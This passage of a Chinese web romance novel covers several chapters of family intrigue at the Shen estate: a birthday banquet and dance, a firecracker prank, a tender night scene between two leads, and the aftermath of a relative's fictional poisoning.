如今的她,要名利有地位,要地位有资本,美貌只会加持她的价值,就如沈娇一直所期待的,珍宝会加冕在王冠之上。 沈庄眼底隐隐泛着水光,笑着朝她招手。 姜花衫挺直腰身,扬唇微笑,姿态优雅向沈庄走去。 沈兰晞就坐在沈庄的下首,现在他的视角,隐约有种姜花衫是向他而来的既视感。 今晚的礼服他选的,从一开始他就知道姜花衫穿上一定会很美,既然是生辰之宴,当然要漂漂亮亮才行,但现在他却有些后悔了。 黑色的礼裙视觉冲击极大,她仿佛一夜之间就长大了,游离在女孩儿和女人之间,既清纯又勾人。 以前就够招人稀罕了,现在直接让人挪不开眼。 “爷爷。”姜花衫绕过沈兰晞,挨着沈庄身侧,笑得又乖又甜。 沈庄满脸欣慰,“乖~跟爷爷坐。” 沈兰晞识趣,默默挪了一个座位,郑松立马搬来一把新椅子。 姜花衫刚坐下,沈兰晞莫名觉得浑身不自在,默默挺直了腰身。 “小花儿,这是陛下,还记得吗?” 沈庄笑着引见,他不是不知道姜花衫在S国受到的不公平待遇,当众提起便是要白家一个交代。 白朱拉对于沈庄明目张胆的维护有几分意外,故作无事,笑着寒暄,“珍贵的珠宝就该镶嵌在王冠之上,我家有个孩子与她倒是般配,沈先生可有意愿结亲?” 女王若要夸人,随便说两句就已经足够炫耀了,但开口就是结亲,可见是对沈家这位千金有多满意。 主席的宾客们神情各异,沈家和白家各自为王,这两家若是结亲,以后在A国还有谁能动摇沈家的地位? 沈兰晞眉头微蹙,第一反应就是抬头看沈庄的反应。 豪门之间联姻自古就有,虽然觉得不可能,但他还是很怕沈庄会应口,毕竟白家不是一般的豪门,是王室。 爷爷向来以家族为重,万一呢? 沈庄冷眼扫向同席的白密,眼里满是嫌弃,“陛下说的是这小子?” 姜花衫默默低头,和所有人不同,她最先想到的是另有其人。 白密正对着一桌佳肴吞咽,沈庄看过来的时候他刚好夹了一块松鼠桂鱼,吓得他手里的筷子直接劈叉,鱼肉吧唧滑落。 “祖母,您可别害我?! 我还想多活几年呢!” 沈庄原本就看不上白密,没想到这癞蛤蟆还好似受了天大的委屈,老爷子当即沉下脸,“陛下的好意我心领了,小花儿娇惯,受不住规矩束缚,只怕不适合高攀,况且我早已答应故人,小花儿此生绝不远嫁。” 虽然用了‘高攀’这个词,但任谁都听得出,老爷子是看不上白家殿下。 白拉曼脸上的笑容渐渐凝固,都说打狗还要看主人,白密是她的儿子,沈家说话这也不客气简直欺人太甚。 “沈先……” 不等她开口,眼前突然横插一双筷子,把她面前精雕细琢的花饺子夹走了。 “……” 白拉曼气得额角抽搐,深吸了一口气咬牙道,“吃吃吃,你怎么就知道说?你是没见过吃的吗?” 白密从满满当当的美食里抬起头,“没办法,我现在唯一拒绝不了的就是沈家的厨子。” 白拉曼,“……” 白朱拉口中的孩子压根就不是白密,所以白密被嫌弃她一点都不在意。 女王优雅从容,笑着解释,“沈老先生误会了,我说的家里的孩子是另有其人。也罢,个人有个人的缘法勉强不得,我也不过是瞧着这孩子喜欢才一时失言,沈老先生莫怪。” 之前在白王宫,她就看出了沈归灵对姜花衫有些不同,原本她打算借着说亲的由头,试试看能不能让沈归灵回心转意,没想到沈庄竟然拒绝了! 白家身份尊贵,既然话都说到这个地步了,也就没有再示好的必要了。 白朱拉淡淡看了姜花衫一眼,平静转过目光。 宴会气氛融洽,宾客们交头接耳、觥筹交错,突然,悠扬的乐声如薄纱般轻柔升起,是肖邦的《降E大调夜曲》,这温柔浪漫的旋律瞬间便抚平了所有低语。 沈兰晞拉开椅子,掌心朝上,十分绅士向姜花衫伸出手。 这是提前就安排好的,夜宴的开场舞必须由姜花衫开始,沈兰晞作为家族年轻一代的继承者,由他来做姜花衫的舞伴再适合不过。 姜花衫抬眸,眼波深处有光轻轻一闪,随即将指尖放入他的掌心。 这接触轻若鸿毛,在沈兰晞心头划过层层涟漪。 两人滑入舞池中央,灯光仿佛为他们而聚拢。 沈兰晞揽住她的腰肢,坚实有力,姜花衫依势轻盈旋转,黑色的裙裾飞扬开来,荡成一片缀满星光的深邃海域。 所有人的目光都落在了他们身上。 “天啊,之前一直觉得沈家太子爷就是天边明月,谁都配不上,怎么跟姜花衫配一脸?!” “你别说,你还真别说?!” 此时四湾的小姐妹早就在底下磕疯了。 “谁说沈兰晞是冰雕雪人的?雪人有这么荡漾的眼神吗?姜花衫绝对是干大事的,我光看一眼就腿软了,她直面暴击还能转圈,不愧是雄鹰般的女人!!!” “说什么呢?担心沈家人杀人灭口把你赶出去……” “哈哈哈。别管我,两小无猜了伪*骨*科更好磕……” 小姐妹圈远离主桌,脱离了家长看顾,磕CP的大黄丫头什么都敢说,一人一句越说越兴奋。 苏韵正好也在这桌,即便极力装作不在意,但还是被带了节奏。 她坐在喧闹的人群里,看着夜宴中央被光束追逐的两人。 沈兰晞下颌线紧绷,看着姜花衫的眼神几乎是一种失控的凝视,作为掌控全局的上位者,他当然知道长久的凝视是失礼,更是弱点,但此刻他控制不住自己。 他能感觉到内心有什么东西在剧烈晃动、碎裂,如同千年冰封的湖面被投入一块灼热的陨石,坚硬的冰层下骤然翻涌起暗流。 音符落下最后一个节点,姜花衫脚尖旋转轻轻推开他准备谢幕,沈兰晞害怕这种失去,打破了之前的预演,俯身拦腰又将她拉了回来。 一曲终了,他们以半拥之姿结束。 “啪啪啪啪——” 掌声轰鸣响起。 除了两个当事人,现场的观众几乎看不出更改的痕迹。 沈兰晞后退,若无其事松开怀抱,姜花衫这才缓过神,将错就错准备继续谢幕。 就在她捂着胸口弯下腰时,沈兰晞侧身,单手抵着胸口低头向她致敬。 那瞬间的低头,幅度微小到旁人难以察觉,但于沈兰晞而言,是他卸下了高傲与偏见的退让。 他已经明白刚刚翻涌无法宣泄的是什么了,是猝不及防的心动。 他克制过,但每一次都适得其反,他不想臣服,但高傲的头颅就这么低下了。 苏韵指尖微顿,一不小心打翻了手边的香槟。 喜欢一个人的眼神是藏不住了,而沈兰晞根本就没有藏。 …… 第640章 霹雳爆啦砰! 一曲开场舞,留给无数人遐想的空间,但这其中并不包括沈清予。 没有人比他更明白沈兰晞的危险,之前姜花衫还小,沈兰晞才睁一只眼闭一只眼压制自己的内心,现在她长大了,沈兰晞不会如他这般随她心意。 这家伙看似古板教条,但其实最不守规矩的就是他,否则当初也不会做出掘坟开棺的荒唐事。 沈清予眸光不善,转眼看见直播镜头还没有结束,此时弹幕清一色的都是: -【姐姐杀我!】 沈清予扯了扯嘴角,老子都没排上桌,哪轮得到你这些歪瓜裂枣? 他忽然就没了心情,一声招呼都没打准备下播。 权威渣脸突然凑近,一下又幸福了好多人。 【终于明白老公说的越漂亮越喜欢有多权威了,长成那样的脸,应该没有人会不喜欢吧。】 【老公,我现在整容还来得及吗?】 沈清予懒得敷衍,直接关了直播。 她们懂个屁!他哪是越漂亮越喜欢,只不过恰好喜欢的人长得漂亮罢了。 * 竹园。 直播镜头被切断后,房间立马陷入了空气被抽干的窒息感。 沈归灵背靠丝绒床榻,姿态优雅地无可挑剔。 他的眼神很平静,薄唇抿成一道毫无弧度的直线,血色褪尽,苍白得近乎锋利。 莫然小心看了一眼,默默关上手机,“少爷,孟医生交代,您现在需要好好休养。” 沈归灵垂眸没有回话。 雷行犹豫着要不要开口,徘徊了半天还是没有忍住,小声安慰,“少爷,要不您睡一觉吧,梦里什么都有。” “……” 莫然嘴角抽了抽,不着痕迹往旁边撤离,这个傻子是不是有毒啊?老虎屁股上拔毛,到底是谁给他的底气?! 沈归灵终于有了反应,缓缓抬眸,“雷行,我可以相信你吗?” 雷行眼光发亮,“当然!少爷您有什么事尽管吩咐。” 沈归灵,“去看看沈亦杰死了没有?没死就让他死。” “!”雷行一脸震惊,“少爷……这……” “怎么?这也做不了?既然如此,明天自己给爷爷递……” “我可以!!” 沈归灵瞳仁又黑又冷,他鲜少如此,雷行再迟钝也察觉到了不妙,立马应口,“少爷,我现在就去。” 说着,不等沈归灵再开口转头跑出了卧室。 待人走后,沈归灵才转头看向莫然,“你知道该怎么做了?” 莫然神情微动,低着头,“知道。” 沈归灵神情恹恹,“出去。” “是。”莫然出了房间,终于暗暗松了一口气。 她比雷行聪明,自然也看得更通透。 雷行空有一身武力但没脑子,在沈园暗杀沈亦杰,他绝对不可能完成。 显然是刚刚那句话触及到少爷的逆鳞了,少爷心情不好开始赶人了。 一想到雷行可能面临的境况,莫然暗暗在心里发誓,绝不能被步其后尘。 * 夜宴在晚上十点结束。 宾主尽欢。 沈家为远道而来的客人准备了下榻庭院,四湾的客人在宴会结束便转去了后山休息。 白朱拉地位不同于其他人,宴会结束后便带着白密回了大使馆。 姜花衫应酬了一天,回到绣楼只想休息,正准备卸妆,脑子里突然传来冰冷的机械音。 【叮——】 【书灵模式失效,人物沈亦杰被强制抹杀。】 【通知:由于当前章节重要剧情人物死亡,原定剧情无法推动,现已为您重新生成剧目篇章。】 【生成完毕——】 【提示:为保证剧目世界秩序稳定,书灵重启模式启动时剧目将自动生成漏洞补丁,当前人物不可对其他人物泄露BUG,一旦违背,被泄露者当即抹杀,泄露者将随机产生一个人物负面标签,标签一旦绑定,人物将无条件顺从】 【警告:当前主线偏离已经超过73%】 【警告:主线偏离90%,剧目世界将毁于一旦。】 “!” 姜花衫原本耷拉的眼皮一下精神了?! 沈亦杰死了? 怎么会?! 谁动的手? 难道是她刚刚对着蛋糕许愿的心声被哪位神明听见了?! * 与此同时。 高止从鬼鬼祟祟探进草丛,四处打探无人后朝着角落的黑影招手,“少爷,来!快来!” 沈兰晞冷着脸,抬头看着绣楼的星灯,迟疑片刻顺从走进了墙角。 高止指着二楼窗户的位置,小声道,“少爷,我已经偷偷跟雷行打听过了,原来沈归灵就是靠爬墙才占领了先机。趁他现在瘫着,咱们赶紧挖墙角。” 沈兰晞皱眉。 高止积极营销,“少爷啊,这年头冰雕人设不吃香了?大家都是喜欢有手段的小妖精。” “……” “你上去后,先来个床咚,然后再深情告白,相信我,女人都是花心大萝卜见一个爱一个,您到时候说点软话,绝对……手拿把掐!” “你确定沈归灵是靠爬墙爬上去的?” 高止点头,“妥妥的,雷行都交代干净了。哦,对了!事成了,您记得把六个月的工资给我补回来。” 沈兰晞抬头看着头顶的窗台…… 高止见状,贴心选了根粗壮刺多的藤条递给他,“少爷,追求爱情的道路都是艰苦的,您要迎难而上!” 沈兰晞暂时也想不到更好的主意,迟疑片刻,抓住藤条纵身一跃,踩着院墙攀上了绣楼。 可就在他准备伸手攀上窗台时—— “砰——霹雳爆啦砰——” 漆黑的院角响起了一连串的爆竹声…… …… 第641章 最强辅助 “什么声音?!” 为了防止扰民,宴会退席后,鲸港上空的烟花就结束了,怎么现在又有礼炮的声音? 姜花衫愣了愣,刚走到窗台,清澈的眸底闪过一丝错愕。 此刻缠绕在绣楼木墙的藤蔓好似被点燃的仙女棒,滋滋冒着金色的火花。 这是? 沈归灵给她制造的生日惊喜? 没等她反应过来,张茹领着一群人从院子跑了出来。 姜花衫猜测张茹应该也是被声音吸引来的,便趴在窗台招呼道,“没事,就是几个礼花。” 整座绣楼都是金丝楠木搭建的,一点点火星都可能存在隐患。 张茹不敢大意,连忙招呼人去取水,转头见姜花衫还探着脑袋看热闹,立马嚷道,“小姐,这几日气候干燥,我先在这守着,等确定没事了再回院。晚上凉,您赶紧回屋。” 一个小小的生日惊喜竟然要连累这么多人劳师动众,沈归灵怎么也做这么费力不讨好的事? “行。差不多就回来吧。” 姜花衫应了一声,掩上花窗的同时已经在心里给沈归灵打上了恋爱脑的标签。 * 莫然从竹园出来,恰好就看见对面的院子噼里啪啦冒着火星。 她愣了愣,加快脚步穿过中间的庭院,刚转过廊庑对面一道黑影急冲冲对着她撞了上来。 “唉哟……” 莫然穿着五厘米高跟鞋,对方一个蛮冲差点把她的骨头都撞散了。 那人愣了一秒,假装什么事都没发生继续往前冲。 这可把莫然气坏了,脱下脚上的高跟鞋对着黑影砸了过去。 “雷行!撞了人就跑?什么道理?” 黑影立马僵住,嗖地一下闪到莫然面前,一把捂着她的嘴巴,“嘘!” “……嗯嗯……” 莫然顿感呼吸急促,翻着白眼用力扒拉他雷行的手,好在最后一刻雷行反应过来,及时松手她才捡回一条命。 真是,碰见这傻子就没好事。 莫然拍着胸口一边缓气,一边斜眼打量他,“你在这鬼鬼祟祟做什么?少爷不是让你去夏园吗?你竟然敢阳奉阴违?” 雷行粗犷的眉毛立马皱成了一团,“你血口喷人!我去了夏园,但夏园突然来了好多人,连老爷子都惊动了,我看着情况不对又偷偷跑回来了。” 这话不假,雷行原本第一时间是想回竹园报告的,但没想到中途看见高止领着沈兰晞往菊园方向去了,他立马意识到自己报仇的机会来了,便偷偷跟了上去。 这段时间,他痛定思痛,反省了很久,深深意识到不能再被高止这么捉弄下去了,同样的错他要是再犯一遍,一定会被少爷赶出去的。 于是,他打开了出山门时师父传授给他的《兵策三十六计》。 他勤学苦练,绞尽脑汁,终于为高止量身定制了一套反杀连招。 瞒天过海、声东击西、笑里藏刀、擒贼擒王。 他先是装出一副萌蠢的样子去“钓鱼”,故意让高止套话说出沈归灵爬墙的事,让高止以为自己还跟以前一样好骗。 以高止好大喜功的性格一定会偷偷告诉沈兰晞,两位少爷早有过节,沈兰晞一定会来抓沈归灵的小辫子,于是,他提前在绣楼的藤条上绑好了爆竹,赶巧今晚沈兰晞来爬墙,他看准时机当场点燃了引线。 高止最怕的就是兰晞少爷,要让他伤筋动骨只有让兰晞少爷出手。 今晚,雷行终于大仇得报了! 莫然总觉得眼前的傻子怪怪的,但一时又说不出哪里怪,思忖片刻,她扶着腰慢慢站了起来,转回了之前的话题。 “你刚刚说夏园被包围了?” 雷行点头。 “知道出什么事了吗?” 雷行摇头。 “……”莫然心知自己是问不出,没好气捡起地上的高跟鞋,白了他一眼出了廊庑。 “少爷!少爷!” 雷行耳朵动了动,想也没想立马钻进了芭蕉树群。 没一会儿两道身影从回廊那边走了过来,一个往前冲,一个在后面追。 “少爷,你听我解释啊,我真的不知道为什么藤蔓上会有爆竹,我是冤枉的啊,少爷!!!” 沈兰晞深阔的眉眼下除了阴霾什么都看不见。 两人一前一后,很快出了走廊。 雷行蹲在角落,等动静远离后慢悠悠从怀里掏出《兵策三十六计》,廊下的八宫灯微熏,他借着弱光拿出笔在纸上标记。 瞒天过海、声东击西、笑里藏刀、擒贼擒王。 √get。 * 姜花衫在屋里蹦跶了许久,才终于从沈亦杰下线的喜悦中回过神,她伸了伸懒腰,对着镜子前的自己看了许久,终于还是忍不住笑了出来。 “姜花衫,十八岁快乐。” 迄今为止,她的每一年都和上一世不一样。 “叩叩——” “姜小姐。”莫然的声音突然在门外响起。 姜花衫神情微动,几乎是一瞬间她猜到了莫然的来意,迟疑片刻,她走出了内室,“门没锁,进来吧。” “是。” 莫然轻轻推开门房,一股沁人心脾的香味扑鼻而来。 她早就发现了,姜小姐身上总有股若有似无的香气,也不知道用的什么牌子的香水? “这么晚了,你怎么过来了?” 莫然这才回过神,抬眸看向偏厅的少女,蓦地,原本凝回的神又被勾去了一半。 她早在直播镜头看见过盛装之下的姜花衫,原本觉得已经够漂亮了,没想到真人竟然更离谱。 之前她还有些不理解那么聪明的少爷怎么会愚蠢到把自己的命搭上,现在看来,少爷还是有先见之明的,珍宝瞩目,谁都想抢,若不先交出真心,以少爷现在的处境,根本争不赢。 “姜小姐……”莫然眼眶微红,瞬间调度情绪,“您能不能去看看少爷,少爷他……他……” “他怎么了?孟医生不是说没有危险,好好休养就可以了吗?” 姜花衫已经猜到了莫然的来意,但她有些事还没有想通,原本并不打算现在去见沈归灵,但莫然上来就哭,她语气立马就动摇了。 莫然轻叹了一声,“原本是,可少爷不愿休息,他从醒来就一直盯着门口,虽然少爷什么都没说,但我知道,他在等姜小姐。” 见姜花衫还是没有应口,莫然只得再加猛料,“少爷一直都很期待今天,他想陪着您一起度过人生最重要的时刻,却没想到最后只能瘫在床上看着您和兰晞少爷跳舞,他都哭了。” “哭了?”姜花衫瞪大了眼睛,表情怪异,“跳个舞有什么好哭的?都像他这样,别人还要不要过了?” 说完,又有些不满,“谁让你们给他看的?” 莫然直接忽视前段,一副深受感受的模样,“少爷说,不想错过您任何重要时刻,我们根本劝不住。” “……” …… 第642章 沈归灵,联盟吧~ 竹园。 沈归灵挺直腰身,正望着阳台的植被出神。 初冬的夜风隐隐有了凛冽的寒气,阳台的植物已经进入了冬眠阶段,无精打采毫无生机。 “叩叩——” “进。” 沈归灵不知在想什么,眼皮都没有抬。 过了片刻没听见动静,他抬眸看了一眼,只一眼,古井无波的眼里便有了风吹水皱的痕迹。 姜花衫抵着门板,站了一会儿,靠在后背的指尖轻轻一点。 “咔——” 门锁反扣的声音在针落可闻的环境里显得尤其悦耳。 她愣了愣,显然没想到会这么大声。 “呵~”沈归灵唇角倏然一弯,眼底沉淀的碎光瞬间被搅碎,漾起细碎的、近乎灼人的光。 “过来~”他声音很轻。 姜花衫眼神跳动,轻咳了一声,装作若无其事走上前,“听莫然说,我不要来你都要哭了?” 其实她也知道这是胡扯的话,故意说出来无非是想摆正一下塘主的位置,否则他说过来就过来,她的面子何在? 沈归灵笑了笑,很是自然牵起她的手,“所以,你就来了?你舍不得我哭?” “……”姜花衫斜着眼睛打量他。 沈归灵早摸准她不服输的劲儿,轻轻挠了挠她的掌心,“莫然骗你的,我没哭。不过,她也没有骗你,我的确一直在等你~” 他晃了晃她的手,撑着身子往旁边挪了挪。 其实他不动,床侧的位置也足够姜花衫落座,但他知道,姜花衫未必会坐,所以他故意拖着‘残躯’以退为进,他还知道,她一向心软。 果不其然,姜花衫只是迟疑了片刻便挨着床侧坐了下来。 “你怎么样了?” 沈归灵歪头往她肩上靠了靠,满脸虚弱,“不太好,从醒来就一直头晕眼花,浑身无力。” “……”姜花衫被气笑了。 这家伙,在她面前真是半点坚强都不装。 “那你还不好好休息?” 沈归灵,“我睡不着,我现在一闭眼就满脑子都是你和别人跳舞的画面。” 他抬起头,整个人像似要碎掉一样,“你都没有和我跳过舞。” 说完,又加重了酸涩的语气,“一次都没有。” “……”姜花衫嘴角抽了抽,面无表情,“那是爷爷安排的。” 沈归灵依旧落寞,“你什么都听爷爷的,如果爷爷要你嫁给沈兰晞你也听吗?” 姜花衫盯着他看了几秒,单挑眉梢。 “你这勾栏做派哪学的?” 沈归灵眼底划过一丝笑意,眉宇间的破碎感瞬间一扫而空。 他丝毫没有被拆穿的扭捏,手掌轻轻抚上了她的后颈,抬着下巴亲了亲她的嘴角又停了下来。 他就这么湿漉漉看着她,索吻的意图太明显,呼吸悬停在毫厘之间。 “……” 姜花衫迟疑了一秒,低头主动贴上他唇。 苍白的唇色在反复碾压中有些血色,彼此的气息像两尾渴水的鱼在月光里交缠。 沈归灵眸光微微动荡,他缓缓闭着眼仰头加深这个吻。 直到两人都乱了呼吸,沈归灵才低头,用鼻尖抵着她的下巴,暂停了这个吻。 他眼里的光忽明忽灭,低喘着问道:“你……有没有什么话要问我?” 其实从姜花衫进来的第一秒他就想问了。 在夏园的时候,沈亦杰说了那么多,以她的聪明一定不难推出这背后的关系链。 之前他刻意什么都没有说,就是不想干预她的判断,但她一天都没有来找他,他突然就后悔了。 有些事,还是应该解释的,万一她误会了呢? “有……” 沈归灵的心率突然加快,“怎么不问?” “我一直没想好怎么开口?” 沈归灵拉开了两人的距离,目光落在她的脸上,她皱眉,眼底有些挣扎,似乎是真的没想好。 “随便问。” 姜花衫想了想,缓缓道:“你入沈园是想给你的母亲报仇吗?谁杀了她?” 沈归灵的大脑罕见地空白了几秒,“为什么想知道这个?” 他没想到姜花衫会问这个问题,她以为她会想追问沈亦杰背后的联盟,再不济也会质问他和那些联盟有什么关系? 但她问的是他的母亲,他没有提前准备。 姜花衫深吸了一口气,“我想知道你复仇的对象里面有没有爷爷,如果没有……” 沈归灵感觉自己的心都要跳出来了。 她抬了抬下巴,“我愿意帮你,沈归灵,我们联盟吧。”(我怕后面传不上,所以分两次传。) 第643章 非常非常地喜欢 我们联盟吧? 这五个字,落在沈归灵耳朵里无异于是神明最好的赐福。 他抬起头,喉结在绷紧的颈线上来回滚动,唇角尚未扬起,笑意已从眼尾飞溅出来。 “你要我?” “……”姜花衫语气一凝,皱着眉纠正,“是联盟!!!” “都一样。”沈归灵翘着嘴角埋进她的肩侧,高挺的鼻尖来回蹭着她颈侧的脉搏,“那我是不是通过考验了?” “哪一……”姜花衫愣了愣,这才反应过来,冷着脸,“两码事,你别蹬鼻子上脸啊。” 沈归灵立马蹬鼻子上脸,“那我的表现能加分吗?0.11分太低了,我没有安全感。” 没有安全感这种话都说出来了,姜花衫简直没眼看了,反问他,“你有什么表现?” 虽然这么说,但她还是有点心虚。 都为她奋不顾身了,怎么能说没有表现呢? 其实她一早就想好了如何光明正大反杀沈亦杰。只要让他先出手,她看准时机反击就不会有任何破,反正她又死不了,受点伤拿沈亦杰一条命还是划算的。 但谁能想到,沈归灵不仅洞悉了她的想法,还在关键时候替她筛除了危险。 或许沈归灵也有自己的小心思,他害怕沈亦杰暴露他的身份,但一条命足够证明,他到底跟谁是真好? 想要表现? 沈归灵掀开被子,侧身搂住她的腰,张口以唇封唇,正要蓄力眼神忽然朦胧,唇珠划过她的下巴落下。 太用力了,这会子麻药已经褪了,缝合的伤口像人被挖了一块生肉,灼烧得厉害。 但他又不想错过这么好的表现机会,咬着牙抬头继续要亲。 “……” 姜花衫光看着就觉得疼,没好气捂着他的嘴,“你还是消停点吧。” 沈归灵拉下她的手,强撑着要起身,“我可以……” 姜花衫捏了捏眉心,“行行行,给你加0.1分。” 沈归灵不乐意,“那我还是自己表现吧。” “……”姜花衫突然想到什么,瞥了他一眼,给彼此找了个台阶,“沈亦杰死了你知道吗?你派人杀的?” 沈归灵略有怔忡,他的确派了雷行去补刀,但那不过是驱逐雷行的借口。 他那会看什么都心烦,根本没有筹谋,难不成雷行真把事办成了? “我的确是……”他想了想,决定还是把话说清楚。 “嘘!”姜花衫伸出食指轻轻点在他的唇间,“加六分。” 沈归灵当即闭嘴。 片刻后,他突然反应过来,一把扣住她的手腕,“满分多少?” 姜花衫沉默片刻,红唇一张一合,“十分。” 沈归灵,“那我现在是6.21分?” 姜花衫,“你刚刚不是说不要那0.1分吗?” 沈归灵睫毛尖颤了颤,眼神春水破开薄冰,“你从一开始进来,其实就想说这个吧?” 他也是昏聩了,怎么这么慢才反应过来。 姜花衫来见他,却没有换下盛装的礼服,她已经回过菊园了,她有无数次脱下礼服的机会,但她还是以最美的样子来见他。 其实,她早就公布答案了,是他反应太慢了。 姜花衫故作高冷,“现在可以好好休息了?” 沈归灵勾住她的腰,打蛇上棍,“还不可以,我闭上眼就是你和别人跳舞的样子。” 有完没完了? 都说了,那是爷爷安排的。 她忍着脾气,“所以呢。” 沈归灵,“我们一起睡,我抱着你,这样我就不会胡思乱想了。” 姜花衫被逗笑了,吊梢的眼睛打量他,“沈归灵,你算盘珠子都快崩我脸上了。” 沈归灵抬起头,圈着她腰身的手腕渐渐收力,“我什么都没想。” 嘴上这么说,但力道是一点没收,没等姜花衫反应,他突然掀翻被浪一把将两人盖住。 “沈归灵!”因为头被蒙在被子里,她的声音毫无威胁。 沈归灵低头吻了吻她的鼻尖,从身后抱着她一点点拖进被窝。 姜花衫试图挣扎,脚上的高跟鞋因为浮动太大,一只踢飞出去,一只松了纽带倒挂在脚尖。 最终高跟鞋落下,莹白的脚尖在光面的精锻上被拖行了一顿距离后,被被浪吞没了。 就在姜花衫以为沈归灵会做些什么时,他突然掀开罩在头上的被子,从身后紧紧环抱住她。 姜花衫一开始还弓着要腰身,结果发现他真的只是想抱着她睡觉后,表情一言难尽,“沈归灵,你不觉得硌得慌吗?” 礼服之所以美,是因为上面缠绕了无数根银色纱线,而这些纱线上都不同程度点缀着珠宝,贴得这么近,跟抱着一团石头有什么区别? 沈归灵低笑了一声,十分满足埋进她的发间,“是有点,要不然……脱了?” 他的手从膝盖慢慢往上,悄无声息探入裙摆。 姜花衫风轻云淡,“我倒是不怕,但你可想好了,到时候难受的可不是我。” 点火的手霎时僵住,迟疑片刻,立马规规矩矩环上她的腰。 “这样就很好。” “是吗?”姜花衫挑眉,准备转身吓吓他。 沈归灵察觉到她的意图,呼吸有些发烫,环抱的手臂青筋错布。 知道她不会善罢甘休,他撩开她凌乱的碎发,贴着她的耳侧轻轻撕咬。 姜花衫身体顿时僵硬,咬牙,“沈、归、灵!” 沈归灵咬住她的耳垂,声音放荡,“腰上有伤,暂时不行~” 姜花衫身体越来越软,嘴巴却很硬,“你确定只是暂时。” 沈归灵张口咬住她的耳朵,“确定。” * “咔——咔——” 秒针即将走过钟盘十二点,新的一天马上如约而至。 沈归灵看着怀中熟睡的人儿,轻轻替她掖好被子,低头在她额间落下一吻。 “姜花衫,我喜欢你,非常非常地喜欢。” …… 第644章 仇恨的种子 “少爷,您听我解释啊少爷……” 寒风萧瑟,高止跪倒在地,死死拍打着玻璃门。 “少爷,少爷,您不能这么狠心呐~我陪伴您数十载,没有功劳也有苦劳啊,您就不能原谅我这么一个小小错误吗?” 他嗷得撕心裂肺,原本透明的玻璃门瞬间蒙上了一层厚厚的雾气。 沈兰晞回到兰园先去洗了个澡,他站在火花中心,身上浓浓的硝烟味,这些味道无时无刻不在提醒他,刚刚的行为有多愚蠢?! 这个澡洗了足足一个小时,沈兰晞出来的时候整个人身上都冒着水汽。 高止躺在地上休息了半个小时,见沈兰晞推门进了书房,立马重振旗鼓,拍打着门窗继续哭喊,“少爷!少爷!!!” 沈兰晞充耳不闻,背脊挺得笔直端坐在那张沉实的紫檀圈椅里。橙黄的暖光在他轮廓分明的侧脸上投下深浅不一的阴影,他定定地凝视着前方虚空中的某一点,目光没有焦点,却沉得像化不开的墨。 寒心,真正的寒心不是大吵大闹,而是沉默的无奈。 高止的哀嚎戛然而止,认命跪好,“少爷,我愿意再自罚六个月的薪资,您别生气了。” 这总可以了吧,毕竟你只是掉了点微不足道的面子,我那可是真金白银啊。 见沈兰晞依旧不为所动,他左右看了看,咽了咽嗓子小声道,“少爷,没人看见,这事只要你不提我不提,咱们就当它是个屁,放了吧?啊?” 沈兰晞终于有了反应,单手搭在扶手上,指尖无意识地轻轻敲击着光滑的木料,一下,又一下,带着一种压抑的、令人窒息的节奏。 “高止……” 他刚开口,高止就感觉到了一股寒气,不!是杀气! 完了!连卖萌都混不过去了,他八成是要被发配边疆了。 “兰晞少爷!” 就在这时,园里来了位不速之客,郑松脚步匆忙走进了兰园,路过池塘正好看见高止跪在玻璃门前,不觉愣了愣。 没等他反应过来,高止蹭得一下起身,装模作样扭了扭膝盖,“腿有点痒,有点痒。” 说着,冷着脸主动推开书房门,“进去吧。” 沈兰晞暂时收敛了摄人的威压,抬眸打量郑松,“怎么了?” 郑松垂首,保持着该有的恭敬,沉声道,“少爷,阿杰少爷出事了。” 沈兰晞指尖轻抬,缓了一拍,淡淡道,“出事?出什么事?下午不是还好好的吗?” 郑松,“晚间突发恶疾,伤口感染……死了。” 沈兰晞皱眉,“死了?” “是。半个小时前孟医生去换药发现的,已经……死了三个小时了。” 沈兰晞神色淡淡,“爷爷怎么说?” 郑松,“方才我们在巡院时发现了一个可疑的黑影,那人身手极好,对沈园也很是熟悉,我们几番围堵都没有抓到人。老爷子怀疑,是有人做了手脚。” “还有这种事?”沈兰晞思忖片刻,又问,“爷爷怎么样了?” “老爷子准备亲手料理阿杰少爷的身后事。他老人家说,阿杰少爷突然暴毙,四先生一定会带人上门讨要说法,他不想见。” “我知道了。”沈兰晞从容地不像话,“告诉爷爷,我会处理好这一切。” “是,话已带到,我先回去了。”郑松颔首,转身出了书房。 等人走后,高止趴在门边张望了许久,小心翼翼踮脚进屋。 “少爷,杰少爷怎么这么招人恨啊?您都已经把两位小姐赶回去了,怎么晚上还有人来补刀?” 沈兰晞瞥了他一眼,闭了闭眼,“你下手的时候没露出马脚吧?” 高止顿时眼睛一亮,大步上前,“少爷您放心,我添加的药水无色无味,就算是老爷子也查不出。” 并非是真查不出,而是整个沈园没有人会怀疑沈兰晞,不怀疑,便不会从兰园下手。 沈兰晞不知在想什么,沉默片刻后,抬眸扫了他一眼,“查清楚今晚是谁去了夏园?” 不用发配边疆了! 高止急于一雪前耻,忙不迭点头应道,“少爷放心,掘地三尺我也一定会把这个人找回来。” “等等。” 他正要转身,又被沈兰晞叫住。 “再查查,沈归灵今晚都做了什么?” * 翌日,强冷锋过境,鲸港一夜之间骤降十度。 冬日真正来临。 沈澈之前在电话里听说的是沈亦杰已经转危为安,不想到了沈园竟然只看到一具冰冷的尸体,他瞬间失去理智,不顾众人劝阻要去沁园找沈庄讨要说法。 “罪不及子孙,这不是沈家家规吗?您说过,沈家人不可自相残杀?!为什么杀阿杰!!为什么?!” 沈让未免沈澈惹怒沈庄,一直从中斡旋,“老四,你冷静点。” “我怎么冷静,那是我的儿子!!!你们杀了我的儿子!” “四叔。” 沈兰晞带领沈家众人拦在沁园门外,“阿杰的事,我们会给你一个交代,他勾结外人谋害至亲,还妄图挑拨沈、白两家的关系,落得如此下场是他咎由自取。” 这话无疑不是火上浇油,沈澈情绪暴走,“你们血口喷人!我要见老爷子!我要见老爷子!” 沈兰晞,“爷爷守了阿杰一天,现在已经心力交瘁,没有精神见你。” “胡扯,你们这些杀人凶手!杀人凶手!!!” “什么家族族规,都是狗屁!呸!什么世家大族千年门槛,不过是烂到骨子里的空壳!!你们还我儿子!还我儿子!!” 沈兰晞眉目沉然,如同一尊没有感情的雕塑,“把他丢出去。” 沈让没想到沈兰晞做事如此决绝,于心不忍,“兰晞,请出去就好,别伤了沈家的体面。” 沈兰晞,“他已经不是沈家人了,让他进来看阿杰最后一面已经是沈家保留的最后一丝情面了,但他还敢大放厥词侮辱沈家,这种人绝不能姑息。” 